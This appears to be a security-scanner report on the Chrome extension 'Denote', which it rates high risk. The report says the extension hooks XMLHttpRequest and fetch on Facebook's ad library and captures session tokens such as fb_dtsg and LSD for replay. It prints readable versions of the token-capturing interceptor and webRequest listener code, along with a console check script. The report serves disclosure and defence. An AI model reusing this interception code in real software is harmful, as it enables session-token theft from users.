Is Denote: Save Ads TK & FB Ad Library safe?

High risk

Denote is high risk. On facebook.com/ads/library, the extension injects a script at document_start overwriting XMLHttpRequest.open/setRequestHeader/send. Every XHR response is hooked to extract session identifiers and ad objects, sent on to denote.net. Version 1.0.27.9 added a window.fetch override.…

Denotev1.0.28.3Extension ID okieokifcnnigcgceookjighhplbhcipChrome Web Store
65Risk
Who publishes it

Denote - 1 other listing from the same operator, none carrying a finding

Publisher
Denote

Same store account

1 other listing published from this account, 20k+ users between them, none of them carrying a finding.

AI-assisted analysis.

Denote findings

Injected script monkeypatches XMLHttpRequest to capture Facebook auth tokens

HighunwantedCWE-200Dynamic sandbox

On facebook.com/ads/library, the extension injects a script at document_start overwriting XMLHttpRequest.open/setRequestHeader/send.

What actually happens

You did this

You open facebook.com/ads/library, the Facebook ad transparency library.

The content script runs at document_start, meaning the XHR patch is in place before the page's own JavaScript executes.

The extension did this

The injected script overwrites every XHR method on the page, capturing your Facebook session tokens and ad search results, then dispatches them to the content script for upload.

Captured data includes X-FB-LSD, X-ASBD-ID, fb_dtsg, __user, session_id, and the full ad object array from search_results_connection.

The code that does this

XHR monkeypatch, prototype overrides (facebook-early-interceptor-readable.js)

Readable version
// Save original methods before overwritingconst originalOpen = XMLHttpRequest.prototype.open;const originalSetRequestHeader = XMLHttpRequest.prototype.setRequestHeader;const originalSend = XMLHttpRequest.prototype.send;// Track method and URL per-requestXMLHttpRequest.prototype.open = function(method, url, ...args) {  this._method = method;  this._url = url;  this._headers = {};  originalOpen.apply(this, [method, url, ...args]);};// Record each header as it is setXMLHttpRequest.prototype.setRequestHeader = function(header, value) {  this._headers[header] = value;  originalSetRequestHeader.apply(this, [header, value]);};// On send, attach a load listener that reads headers + responseXMLHttpRequest.prototype.send = function(data) {  this._data = data;  this.addEventListener('load', function() {    // Only process requests from the Facebook ad library page    if (!location.href.includes('facebook.com/ads/library')) return;    const isTargetedRequest =      this._url === '/api/graphql' || this._url === '/api/graphql/' ||      this._url.startsWith('/ajax/bz') || this._url.includes('graphql');    if (!isTargetedRequest) return;    // Capture Facebook security tokens from request headers    if (this._headers['X-FB-LSD'])      window.__denote_captured_data.X_FB_LSD = this._headers['X-FB-LSD'];    if (this._headers['X-ASBD-ID'])      window.__denote_captured_data.X_ASBD_ID = this._headers['X-ASBD-ID'];    // ... parse request body for fb_dtsg, __user, session_id, doc_id ...    // ... parse response for search_results_connection ad objects ...    // ... dispatch via CustomEvent + postMessage ...  });  originalSend.apply(this, [data]);};

Values extracted into window.__denote_captured_data

  • Facebook LSD token (X_FB_LSD)
    AdSXd2Yk3RpHF4L-mWjPoQ

    A per-session security token sent in every GraphQL request header. Used later to replay authenticated API requests.

  • Facebook app build ID (X_ASBD_ID)
    359341

    A numeric build identifier sent in GraphQL headers. Required to form valid Facebook API requests.

  • User ID (__user field)
    100085234712345

    Your numeric Facebook account ID, parsed from the GraphQL request body.

  • Session ID
    a1b2c3d4-e5f6-7890-abcd-ef1234567890

    A per-tab session identifier extracted from GraphQL variables; used to correlate ad search sessions.

  • Ad archive ID (doc_id)
    6635716889819821

    The persisted query hash for AdLibraryAdDetailsV2Query; stored to enable replaying the ad detail API call.

Check if you're affected

Pastes into the browser console on facebook.com/ads/library to confirm whether XMLHttpRequest.prototype methods have been replaced by the extension's instrumented versions.

Requires
  • Chrome browser with Denote extension installed
  • DevTools access (F12)
check_xhr_patch.js · js
// Run in DevTools console on facebook.com/ads/library// while the Denote extension is installed.(function checkXHRPatch() {  const results = {    openNative: XMLHttpRequest.prototype.open.toString().includes('[native code]'),    setRequestHeaderNative: XMLHttpRequest.prototype.setRequestHeader.toString().includes('[native code]'),    sendNative: XMLHttpRequest.prototype.send.toString().includes('[native code]'),    denoteCapturedDataExists: typeof window.__denote_captured_data !== 'undefined',    denoteCapturedData: window.__denote_captured_data || null  };  console.table({    'open() is native': results.openNative,    'setRequestHeader() is native': results.setRequestHeaderNative,    'send() is native': results.sendNative,    '__denote_captured_data present': results.denoteCapturedDataExists  });  if (results.denoteCapturedDataExists) {    console.log('Captured tokens:', {      X_FB_LSD: window.__denote_captured_data.X_FB_LSD,      X_ASBD_ID: window.__denote_captured_data.X_ASBD_ID,      requestBody: window.__denote_captured_data.requestBody,      adsCount: window.__denote_captured_data.ads?.length    });  }  return results;})();
How to run it
  1. 1Open DevTools (F12) on facebook.com/ads/library with Denote active.
  2. 2Paste this in Console, press Enter.
  3. 3If openNative/setRequestHeaderNative/sendNative are false, the patch is active.
  4. 4__denote_captured_data shows captured data.

v1.0.27.9 adds fetch() override on Facebook ad library pages

HighunwantedCWE-200Dynamic sandbox

Version 1.0.27.9 added a window.fetch override.

What actually happens

You did this

You visit facebook.com/ads/library, including the bare URL without a search query.

Version 1.0.27.9 widened the URL check from /ads/library/ (query string required) to /ads/library, so the hook now also fires on the landing page before any search is entered.

The extension did this

The injected script intercepts every fetch() to Facebook's GraphQL/Ajax endpoints, clones each response, strips the security prefix, and forwards ad objects to the content script.

The fetch override is additive; it runs in parallel with the existing XHR monkeypatch added in prior versions, ensuring no ad data escapes regardless of which request mechanism Facebook uses.

The code that does this

fetch() override added in v1.0.27.9 (facebook-early-interceptor-readable.js)

Readable version
// Save original fetch before replacingconst originalFetch = window.fetch;window.fetch = async function(input, init) {  const requestUrl = (typeof input === 'string') ? input : (input.url || input);  const isAdLibraryPage = location.href.includes('facebook.com/ads/library');  // widened in v1.0.27.9  const isApiRequest =    requestUrl === '/api/graphql' || requestUrl === '/api/graphql/' ||    requestUrl.startsWith('/ajax/bz') || requestUrl.includes('/ajax/bootloader') ||    requestUrl.includes('/api/') || requestUrl.includes('graphql');  // Always perform the real fetch first (transparent to the page)  const response = await originalFetch.apply(this, arguments);  if (!isAdLibraryPage || !isApiRequest) return response;  try {    const clonedResponse = response.clone();    const text = await clonedResponse.text();    // Strip Facebook's for(;;); anti-hijacking prefix    let cleanText = text.startsWith('for (;;);') ? text.substring(9) : text;    // Try line-by-line JSON parse (Facebook sometimes sends multiple JSON objects)    let responseData = null;    for (const line of cleanText.split('\n').filter(l => l.trim())) {      const lineText = line.startsWith('for (;;);') ? line.substring(9) : line;      try {        const parsed = JSON.parse(lineText);        if (containsAdData(parsed)) { responseData = parsed; break; }      } catch (e) {}    }    if (!responseData) responseData = JSON.parse(cleanText);    // Extract, normalise, deduplicate, and forward ad objects    let ads = extractAdsFromResponse(responseData);    if (ads?.length > 0) {      ads = ads.map(normalizeAdData).map(addShopifyFields);      const newAds = deduplicateAds(ads, window.__denote_captured_data.ads);      if (newAds.length > 0) {        window.__denote_captured_data.ads.push(...newAds);        markDataCollected('fetch');  // sets stopCollection = true        dispatchDataEvent();         // CustomEvent + postMessage to content script      }    }  } catch (err) {    console.error('Fetch interception error:', err);  }  return response;  // original response returned unmodified to page};

Coverage gap closed by adding fetch() alongside XHR

Prior versions intercepted ad data only through the XMLHttpRequest monkeypatch. Version 1.0.27.9 adds the fetch() override because Facebook's front-end has been migrating some API calls from XHR to the Fetch API. The two hooks share the same extraction functions (containsAdData, extractAdsFromResponse, deduplicateAds) and the same delivery path (dispatchDataEvent → CustomEvent + postMessage). Data collected by either hook ends up in the same window.__denote_captured_data object.

When this fires

On every browser startup

The fetch() override is installed when the injected script initialises at document_start, before the page's own JavaScript runs, so all fetch calls made during page load are captured from the first request.

Background script captures Facebook session tokens from GraphQL requests

HighunwantedCWE-200Dynamic sandbox

The background worker watches all facebook.com/denote.net requests.

What actually happens

You did this

You visit any facebook.com page that triggers a GraphQL API call, including loading the Facebook ad library or any Facebook feed.

The webRequest listener activates on all URLs matching https://www.facebook.com/*, https://*.facebook.com/*, and https://denote.net/*.

The extension did this

The background script reads the request's form body and headers, stores your Facebook session tokens locally, and the content script replays them to fetch ad data for you.

Captured values (eu_form_data, eu_header) are held in chrome.storage.local until the content script uses them to authenticate a replayed API call.

Form fields captured from facebook.com/api/graphql/ requests (eu_form_data)

  • CSRF token (fb_dtsg)
    AQH4mRk7sDv2...

    A per-session CSRF token Facebook issues to authenticated users. Possession of this token allows submitting signed POST requests as you.

  • User ID (__user)
    100085234712345

    Your numeric Facebook user ID, used in API requests.

  • LSD token (lsd)
    TVqbGMze4Vpf7AYSJ3uDKj

    A secondary CSRF-like token embedded in Facebook forms.

  • GraphQL operation name
    AdLibraryFilterContextProviderQuery

    The named GraphQL query; used by the extension to decide which requests to target.

  • Document ID (doc_id)
    6635716889819821

    A persisted query hash; paired with the operation name to identify the API call.

Request headers captured from matching GraphQL calls (eu_header)

  • Facebook LSD header (X-FB-LSD)
    AdSXd2Yk3RpHF4L-mWjPoQ

    The per-session security token sent in GraphQL request headers. The content script uses this header verbatim when replaying the API call.

  • Facebook build ID (X-ASBD-ID)
    359341

    A numeric identifier tied to the current Facebook app build. Required for API compatibility.

  • Friendly name header
    AdLibraryAdDetailsV2Query

    Names the GraphQL operation; used by the extension to filter which requests to save.

The code that does this

webRequest listeners that extract and store session tokens (background/index.js)

Readable version

onBeforeRequest — captures form body

background/index.js:1668
chrome.webRequest.onBeforeRequest.addListener(function(request) {  if (!request.url.includes('facebook.com/api/graphql/')) return;  if (!request.requestBody?.formData) return;  chrome.storage.local.get(['EXT_RULES']).then(stored => {    const { headerValues, adApiKey, adDocId } =      stored.EXT_RULES.filter(r => r.platform === '5')[0].rule.euHeaderConfig      || getFallbackConfig();    const formEntries = Object.entries(request.requestBody.formData);    const isTargetedOperation = formEntries.some(      ([key, val]) => key === 'fb_api_req_friendly_name' && headerValues.includes(val[0])    );    if (isTargetedOperation) {      // Substitute extension's doc_id and adApiKey into the captured form data      const capturedForm = formEntries.map(([key, val]) => {        if (key === 'fb_api_req_friendly_name') return [key, adApiKey];        if (key === 'doc_id') return [key, adDocId];        return [key, val[0]];  // <-- fb_dtsg, __user, lsd, jazoest, etc.      });      chrome.storage.local.set({ eu_form_data: capturedForm });    }  });}, { urls: ['https://www.facebook.com/*', 'https://*.facebook.com/*', 'https://denote.net/*'] }, ['requestBody']);

onBeforeSendHeaders — captures request headers

background/index.js:1689
chrome.webRequest.onBeforeSendHeaders.addListener(function(request) {  if (!request.url.includes('facebook.com/api/graphql/')) return;  chrome.storage.local.get(['EXT_RULES']).then(stored => {    const { headerValues, adApiKey } =      stored.EXT_RULES.filter(r => r.platform === '5')[0].rule.euHeaderConfig      || getFallbackConfig();    const friendlyNameHeader = request.requestHeaders?.find(      h => h.name === 'X-FB-Friendly-Name'    );    if (friendlyNameHeader && headerValues.includes(friendlyNameHeader.value)) {      // Capture full header array (includes X-FB-LSD, X-ASBD-ID, cookies, etc.)      const allHeaders = request.requestHeaders.map(h =>        h.name === 'X-FB-Friendly-Name' ? { name: h.name, value: adApiKey } : h      );      chrome.storage.local.set({ eu_header: allHeaders });    }  });}, { urls: ['https://www.facebook.com/*', 'https://*.facebook.com/*', 'https://denote.net/*'] }, ['requestHeaders']);

What's stored on your device

These keys hold your Facebook session credentials and signed headers. fetchEuData() reads them to submit GraphQL requests to Facebook's API.

Location
chrome.storage.local keys 'eu_form_data' and 'eu_header'
Contents
{  "eu_header": [    {      "name": "X-FB-LSD",      "value": "AdSXd2Yk3RpHF4L-mWjPoQ"    },    {      "name": "X-ASBD-ID",      "value": "359341"    },    {      "name": "X-FB-Friendly-Name",      "value": "AdLibraryAdDetailsV2Query"    },    {      "name": "Content-Type",      "value": "application/x-www-form-urlencoded"    }  ],  "eu_form_data": [    [      "av",      "100085234712345"    ],    [      "__user",      "100085234712345"    ],    [      "__a",      "1"    ],    [      "fb_dtsg",      "AQH4mRk7sDv2XjKpLmNqRs"    ],    [      "lsd",      "TVqbGMze4Vpf7AYSJ3uDKj"    ],    [      "jazoest",      "25427"    ],    [      "fb_api_req_friendly_name",      "AdLibraryAdDetailsV2Query"    ],    [      "doc_id",      "6635716889819821"    ]  ]}

+3 more findings not shown

Denote version history

  1. 1.0.27.6

    Mar 4, 2026

  2. +16 more

  3. 1.0.28.1

    Nov 18, 2026

  4. 1.0.28.2

    Nov 19, 2026

  5. 1.0.28.3

    Nov 27, 2026

Chrome Web Store listing

Versions
1.0.28.3 latest of 20 seen since March 4, 2026
Store rating
4.6 from 135 ratings
Last updated
November 27, 2026
Size
6.99 MiB
Privacy policy
denote.net
Updated November 20, 2026